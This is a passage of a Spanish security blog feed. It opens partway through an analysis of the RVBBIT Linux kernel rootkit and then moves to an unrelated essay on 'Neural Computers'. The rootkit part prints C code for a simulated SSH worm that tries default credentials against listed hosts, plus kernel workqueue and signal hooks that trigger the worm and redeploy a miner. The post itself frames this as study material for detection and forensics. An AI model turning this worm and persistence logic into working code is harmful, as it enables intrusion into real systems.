8&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;#define MAX_CREDS 3&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Lista simulada de objetivos en red local */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;static const char *targets[MAX_HOSTS] = {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &quot;10.0.0.5&quot;,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &quot;10.0.0.8&quot;,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &quot;192.168.1.20&quot;,&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &quot;192.168.1.30&quot;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;};&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Credenciales simuladas */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;static const char *creds[MAX_CREDS][2] = {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; {&quot;root&quot;, &quot;123456&quot;},&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; {&quot;admin&quot;, &quot;admin&quot;},&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; {&quot;user&quot;, &quot;password&quot;}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;};&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Simula comprobación de conectividad SSH */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;static int simulate_reachability(const char *ip) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; /* Simulación: todos los hosts son alcanzables */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; return ip != NULL;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Simula autenticación SSH */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;static int simulate_ssh_auth(const char *user, const char *pass) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; /* En este modelo educativo, solo una credencial es válida */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; if (strcmp(pass, &quot;123456&quot;) == 0)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return 1;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; return 0;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Simula despliegue del payload */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;static void simulate_deploy(const char *ip) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; printf(&quot;[SSH-WORM] Simulated infection on host: %s\n&quot;, ip);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;/* Motor principal del gusano (simulado) */&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;void ssh_worm_simulation(void) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; for (int i = 0; i &amp;lt; MAX_HOSTS; i++) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (!targets[i])&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; continue;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (!simulate_reachability(targets[i]))&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; continue;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for (int j = 0; j &amp;lt; MAX_CREDS; j++) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const char *user = creds[j][0];&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const char *pass = creds[j][1];&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (simulate_ssh_auth(user, pass)) {&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; simulate_deploy(targets[i]);&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; break;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;&amp;nbsp; &amp;nbsp; }&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-family: monospace;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;h2 data-end=&quot;6679&quot; data-section-id=&quot;8dqre&quot; data-start=&quot;6666&quot;&gt;&lt;/h2&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;p data-end=&quot;3404&quot; data-start=&quot;3140&quot;&gt;En la arquitectura del rootkit analizado, este módulo no formaría parte del kernel, sino de un componente en espacio de usuario controlado indirectamente. El kernel actuaría únicamente como orquestador, activando la ejecución del gusano mediante triggers internos.&lt;/p&gt;
&lt;p data-end=&quot;3526&quot; data-start=&quot;3406&quot;&gt;Un ejemplo de integración coherente con el código existente sería el uso del sistema de workqueue ya presente en RVBBIT:&lt;/p&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;static void demo_work_func(struct work_struct *work) {

    /* lógica existente del fake miner */
    if (fake_miner_pid &amp;gt; 0) {
        struct task_struct *task;
        task = pid_task(find_vpid(fake_miner_pid), PIDTYPE_PID);
        if (!task)
            deploy_fake_miner();
    } else {
        deploy_fake_miner();
    }

    /* extensión conceptual: activación del worm SSH */
    if (ssh_worm_enabled) {
        ssh_worm_simulation();
    }

    queue_delayed_work(demo_wq, &amp;amp;demo_work, msecs_to_jiffies(60000));
}&lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;Y el estado del módulo podría controlarse mediante el mecanismo de señales ya implementado en el rootkit:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;font-size: medium;&quot;&gt;&lt;pre class=&quot;prettyprint&quot; style=&quot;background-color: #eeeeee; border: 1px dashed rgb(153, 153, 153); color: black; font-family: &amp;quot;Andale Mono&amp;quot;, &amp;quot;Lucida Console&amp;quot;, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;&quot;&gt;&lt;code&gt;if (sig == MAGIC_UNHIDE_SIG) {
    ssh_worm_enabled = 1;
}&lt;/code&gt;&lt;/pre&gt;&lt;/span&gt;&lt;/div&gt;&lt;b&gt;Conclusión&lt;/b&gt;&lt;/span&gt;&lt;p data-end=&quot;6928&quot; data-start=&quot;6681&quot;&gt;RVBBIT no destaca por introducir técnicas nuevas, sino por combinar de forma coherente múltiples mecanismos clásicos de rootkits Linux con algunos elementos más modernos, como el bloqueo de eBPF o el uso de DKOM en estructuras críticas del kernel.&lt;/p&gt;&lt;p data-end=&quot;7161&quot; data-start=&quot;6930&quot;&gt;El resultado es un ejemplo claro de cómo un rootkit contemporáneo puede operar en varios niveles del sistema: desde la syscall layer hasta estructuras internas del scheduler, pasando por mecanismos de observabilidad y persistencia.&lt;/p&gt;&lt;p data-end=&quot;1560&quot; data-start=&quot;1405&quot;&gt;

&lt;/p&gt;&lt;p data-end=&quot;7414&quot; data-start=&quot;7163&quot;&gt;Más que un malware funcional, este proyecto es útil como herramienta de estudio para entender cómo se construyen las capas de ocultación en sistemas Linux modernos y qué superficies de ataque siguen siendo relevantes para detección y análisis forense.&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://www.hackplayers.com/feeds/6487354262967258950/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='https://www.hackplayers.com/2026/04/rvbbit-anatomia-de-un-rootkit-lkm.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6487354262967258950'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/9133539773684103848/posts/default/6487354262967258950'/><link rel='alternate' type='text/html' href='https://www.hackplayers.com/2026/04/rvbbit-anatomia-de-un-rootkit-lkm.html' title='RVBBIT: anatomía de un rootkit LKM moderno basado en stealth, DKOM y anti-eBPF'/><author><name>Vicente Motos</name><uri>http://www.blogger.com/profile/03053036399006390105</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhVEWEmNj--NFGI_Y_2STA7IMLfue6x71mRjQrvjGe12QsgVS-J1ZQnMaKmxQ_I45QgRmcb3sVqCKMQItltfuazSJeQ3OhyaaqSlUaUM0mJYwEBFXRXKxKVydd8XYCQnA/s220/CameraFun+-+2011-02-10+23.00.34.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjCg3sZW897qH_F_08nxUtcPMB1ucLwXX1kzD2bozV_XWAqYskSUsuxKlHcBIV9hnP7e_YjZQSlB5Nlo2dKonU0Q6_xzktF0IIsYsyubhjSg-fYndCvhsUZKF3yujQNXzA7CCRQpizYGWKohFMj2iG1UhPCHGx2PuMEW77pcK4ZTQxztxMrJwNPn-ESsA41/s72-c/cyberrvbbit.jpg" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9133539773684103848.post-2857405468319166878</id><published>2026-04-13T00:09:00.010+02:00</published><updated>2026-04-13T00:22:03.122+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="inteligencia artificial"/><category scheme="http://www.blogger.com/atom/ns#" term="papers"/><category scheme="http://www.blogger.com/atom/ns#" term="redes neuronales"/><title type='text'>El inicio de los ordenadores neuronales</title><content type='html'>&lt;p&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh14CThJALYiM4ms_1A41EFeF6nXBYQEZbOsW0Vks1VhW8M98I2fzwnnrLxH72hFL0UPbv3hFopOEDpeFShdTYHKM3Ew0jrz-UcsZhuzy1hZ64vjRCRflivLIKXK3-efPZHWfI7_p725sHRvc-zRE3geEi-uHv2D16Q9pJ03cqmme-7fFnPRVjHeRQUIonr/s2048/cerebro1.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: right;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1281&quot; data-original-width=&quot;2048&quot; height=&quot;125&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh14CThJALYiM4ms_1A41EFeF6nXBYQEZbOsW0Vks1VhW8M98I2fzwnnrLxH72hFL0UPbv3hFopOEDpeFShdTYHKM3Ew0jrz-UcsZhuzy1hZ64vjRCRflivLIKXK3-efPZHWfI7_p725sHRvc-zRE3geEi-uHv2D16Q9pJ03cqmme-7fFnPRVjHeRQUIonr/w200-h125/cerebro1.jpg&quot; width=&quot;200&quot; /&gt;&lt;/a&gt;En abril de 2026 apareció en arXiv un paper titulado &lt;em&gt;“&lt;a href=&quot;https://arxiv.org/abs/2604.06425&quot; target=&quot;_blank&quot;&gt;Neural Computers&lt;/a&gt;”&lt;/em&gt;, firmado por investigadores que proponen una idea tan simple de formular como difícil de asimilar: construir sistemas en los que una red neuronal no se limite a ejecutar tareas, sino que &lt;strong&gt;sea, en sí misma, el ordenador completo&lt;/strong&gt;. No un programa dentro de una máquina, no un modelo que usa herramientas externas, sino un sistema donde computación, memoria y ejecución emergen de un único proceso aprendido.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJMVhWllVMS2FznNwRgP4izPhqsec9gWzwMpf390sVQZ9O6fD_dTsr5YihNOjvaGIST_sAmVmiu-0wB9S5xMrsIZshyphenhyphenSJgAMgApIS23lLuk5XZ86JDsPkYS2CHn1Ta3XtRiI9TRv_W4h4HCl_980lYqsEhuMo7e0AmDIUACX0_P45B8trR7FCsb7crvZDR/s638/neumann.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;479&quot; data-original-width=&quot;638&quot; height=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJMVhWllVMS2FznNwRgP4izPhqsec9gWzwMpf390sVQZ9O6fD_dTsr5YihNOjvaGIST_sAmVmiu-0wB9S5xMrsIZshyphenhyphenSJgAMgApIS23lLuk5XZ86JDsPkYS2CHn1Ta3XtRiI9TRv_W4h4HCl_980lYqsEhuMo7e0AmDIUACX0_P45B8trR7FCsb7crvZDR/w400-h300/neumann.jpg&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;Dicho así suena abstracto, pero la intuición básica es sorprendentemente accesible. Hoy, cuando usas un ordenador, hay muchas piezas trabajando juntas: el sistema operativo, la memoria, el procesador, los programas que abres. Todo está separado, organizado en capas. Si escribes algo en un teclado, esa señal atraviesa múltiples niveles antes de producir un resultado en pantalla. Y, sobre todo, todo sigue reglas explícitas: instrucciones escritas por humanos que la máquina ejecuta sin desviarse.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Ahora imagina otra posibilidad. En lugar de diseñar todas esas piezas, entrenas una red neuronal para que, al recibir entradas —teclas pulsadas, movimientos de ratón— produzca salidas —cambios en la pantalla— que se comporten como las de un ordenador real. No le das acceso al código del sistema, ni a su arquitectura interna. Solo le muestras ejemplos: secuencias de uso. Como si estuviera observando a alguien trabajar frente a un ordenador durante horas.&lt;/p&gt;&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8xirLfguIMB78B35bYwKzF_n25ef8ue6K0OfVspwR7mtjS8EkRlr5BZPDGHnLAHtm7IhHbOrnWwQgAhrGLyTiCSOUfQWGr6P1t9mE59eJdCVVqgmDuC104B4N8khW6UGQmcZz2g22hU9yof_Z1wL2RFaqRRycaPB0yPnD89iIAP4oO-jb3B4H3CHOZlg/s958/neural-computer1.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;597&quot; data-original-width=&quot;958&quot; height=&quot;398&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgp8xirLfguIMB78B35bYwKzF_n25ef8ue6K0OfVspwR7mtjS8EkRlr5BZPDGHnLAHtm7IhHbOrnWwQgAhrGLyTiCSOUfQWGr6P1t9mE59eJdCVVqgmDuC104B4N8khW6UGQmcZz2g22hU9yof_Z1wL2RFaqRRycaPB0yPnD89iIAP4oO-jb3B4H3CHOZlg/w640-h398/neural-computer1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Al principio, el modelo no entiende nada. Solo intenta predecir la siguiente imagen, el siguiente estado de la pantalla. Pero con suficientes datos, empieza a captar regularidades: que ciertos comandos producen ciertos efectos, que ciertas acciones modifican regiones específicas de la interfaz, que hay estructuras persistentes en el tiempo. Sin haber visto nunca “el interior” del sistema, empieza a reconstruirlo implícitamente. Y en ese momento ocurre el giro conceptual: el modelo ya no está simplemente imitando salidas, está aproximando la lógica que genera esas salidas.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhRtmCDEMsFpshUNSBcsU6H7h-Gd5Ts-azEddJP3sbpt6ZYhIaKWd05RvYvKJP2R_yeC2fBsT1dt6yv-mpFii1W-KAZ0FKM3JERtoZmE6E95V8XSfkUuGIKL6Ib0w5JAppSILeJherVqVMVRHD4bpsL0uF4NmY2rjCGmocemeZZitn4dfurutfqYQvopnH/s1257/VAE_reconstructions.png&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;514&quot; data-original-width=&quot;1257&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhRtmCDEMsFpshUNSBcsU6H7h-Gd5Ts-azEddJP3sbpt6ZYhIaKWd05RvYvKJP2R_yeC2fBsT1dt6yv-mpFii1W-KAZ0FKM3JERtoZmE6E95V8XSfkUuGIKL6Ib0w5JAppSILeJherVqVMVRHD4bpsL0uF4NmY2rjCGmocemeZZitn4dfurutfqYQvopnH/s16000/VAE_reconstructions.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Desde fuera, el comportamiento empieza a parecer el de un ordenador funcional. Escribes algo, responde coherentemente. Navegas por una interfaz, los elementos reaccionan como esperas. Pero internamente no hay procesos, ni memoria direccionable, ni instrucciones ejecutándose paso a paso. Lo que hay es una red cuya dinámica interna —sus activaciones, sus estados latentes— ha aprendido a evolucionar de forma consistente con lo que esperamos de un sistema computacional.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Hasta aquí, la idea puede entenderse como una especie de simulación avanzada. Pero el paper va más allá. Lo que propone no es solo simular ordenadores existentes, sino explorar la posibilidad de sistemas donde &lt;strong&gt;la noción misma de programa desaparece&lt;/strong&gt;. En un ordenador clásico, un programa es una secuencia explícita de instrucciones. En un &lt;em&gt;Neural Computer&lt;/em&gt;, esa secuencia no existe como tal. En su lugar, hay patrones distribuidos en la red que codifican comportamientos. La “memoria” no es un espacio donde se leen y escriben datos, sino una configuración persistente del sistema. La “ejecución” no es un bucle que recorre instrucciones, sino una trayectoria en un espacio de estados de alta dimensión.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Este cambio obliga a replantear conceptos fundamentales. Por ejemplo, la programabilidad. En el paradigma tradicional, programar significa escribir código que especifica exactamente qué debe hacer el sistema. Aquí, en cambio, programar se parecería más a entrenar: exponer al sistema a ejemplos, ajustar su comportamiento, moldear su dinámica. No se le dice qué hacer paso a paso; se le enseña a comportarse de cierta manera. Es una diferencia sutil pero profunda: pasamos de describir procedimientos a inducir capacidades.&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh3FxIkvpOVRkMxD0Fp8Gg9nQlDrc5x3Hxae25dOVK8JJ3UI9Nbvo4YJUMlWTUNYkXaBFHsJ46rXzGMabnt7wsPWNopoR6WL8C9vmBJ7W3cZrVYBSWroK0CZHCbMe0T2pwyslpPYpnKiDlmosgw3BG5KN6erDRCBCdAMZ-fnpTdwalZNV6ZVIe49CUHPHv/s2048/brain_artificial_2.jpeg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1281&quot; data-original-width=&quot;2048&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgh3FxIkvpOVRkMxD0Fp8Gg9nQlDrc5x3Hxae25dOVK8JJ3UI9Nbvo4YJUMlWTUNYkXaBFHsJ46rXzGMabnt7wsPWNopoR6WL8C9vmBJ7W3cZrVYBSWroK0CZHCbMe0T2pwyslpPYpnKiDlmosgw3BG5KN6erDRCBCdAMZ-fnpTdwalZNV6ZVIe49CUHPHv/w640-h400/brain_artificial_2.jpeg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;También cambia la naturaleza de la memoria. En un ordenador clásico, la memoria es explícita, direccionable, separada del procesamiento. Puedes leer una dirección concreta, escribir en ella, inspeccionarla. En un sistema neuronal, la memoria está distribuida. No hay una celda concreta que contenga una variable, sino patrones de activación que, en conjunto, codifican información. Esto hace que la memoria sea más flexible, pero también más opaca: no puedes señalar fácilmente “dónde” está algo.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Desde el punto de vista técnico, los prototipos actuales están lejos de materializar esta visión en su forma completa. Los sistemas descritos en el paper operan principalmente como modelos generativos que predicen secuencias de interacción: dado un historial de entradas y pantallas, generan la siguiente pantalla. Funcionan razonablemente bien en entornos simples —por ejemplo, una terminal o interfaces gráficas básicas—, pero presentan limitaciones claras en estabilidad a largo plazo, reutilización de comportamientos y escalabilidad. A medida que la secuencia se alarga o las tareas se complican, los errores se acumulan y la coherencia se degrada.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp4cpuSCJOSA3KfOeUol8l0Hs_uZmRzrNn98JANBJq2SiD5p2CQ8vCRFfL78a8xb17IfeLu7o4Gr9AcpqH-3mkCjfrsOQP4A60CEd4fA_u6p07zhJX0lV1wWAvwYhIl9i8kta_OZVwfHcjjz4LUUFg4J24R9Kz1U031O3QzbBdlGduHfNitGVnbDz-4OZW/s2048/brain_artificial_3.jpeg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em; text-align: center;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;2048&quot; data-original-width=&quot;2048&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhp4cpuSCJOSA3KfOeUol8l0Hs_uZmRzrNn98JANBJq2SiD5p2CQ8vCRFfL78a8xb17IfeLu7o4Gr9AcpqH-3mkCjfrsOQP4A60CEd4fA_u6p07zhJX0lV1wWAvwYhIl9i8kta_OZVwfHcjjz4LUUFg4J24R9Kz1U031O3QzbBdlGduHfNitGVnbDz-4OZW/s320/brain_artificial_3.jpeg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;Sin embargo, estas limitaciones no invalidan la idea central; más bien la sitúan en una fase temprana, comparable a los primeros experimentos en computación clásica. Lo relevante no es que ya tengamos ordenadores neuronales plenamente funcionales, sino que se ha abierto una vía conceptual distinta: en lugar de seguir refinando arquitecturas donde el modelo es un componente dentro de un sistema mayor, se explora la posibilidad de que el modelo &lt;em&gt;sea&lt;/em&gt; el sistema.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Esto tiene implicaciones profundas. Una de ellas es la pérdida de interpretabilidad en el sentido clásico. En un sistema tradicional, podemos rastrear la ejecución, inspeccionar variables, entender por qué ocurre un error. En un sistema completamente neuronal, ese tipo de análisis deja de ser viable. El comportamiento emerge de la interacción de millones o miles de millones de parámetros, y no hay una correspondencia directa entre partes del sistema y funciones específicas. La comprensión se vuelve estadística, no determinista.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Otra implicación es la convergencia entre computación y aprendizaje. Si el sistema se define por lo que ha aprendido, entonces actualizarlo no implica instalar software, sino modificar su entrenamiento. Las fronteras entre usar, programar y entrenar empiezan a difuminarse. Un mismo proceso —ajustar el modelo— puede servir tanto para corregir errores como para añadir nuevas capacidades.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;En el fondo, lo que este paper sugiere es un desplazamiento en nuestra forma de entender la computación. Durante décadas, hemos construido máquinas que ejecutan descripciones formales del mundo. Ahora empezamos a construir sistemas que &lt;strong&gt;internalizan ese mundo en forma de comportamiento aprendido&lt;/strong&gt;. No ejecutan reglas; encarnan regularidades.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;Quizá la mejor manera de entenderlo sea como un cambio de pregunta. Antes nos preguntábamos: “¿Qué instrucciones debe seguir la máquina?”. Ahora empezamos a preguntarnos: “¿Qué debe haber experimentado este sistema para comportarse así?”. Y en ese cambio, el ordenador deja de ser una entidad rígida que ejecuta código, para convertirse en algo más cercano a un organismo: un sistema cuya identidad está definida por su historia de aprendizaje.&lt;/p&gt;&lt;p class=&quot;isSelectedEnd&quot;&gt;&lt;a 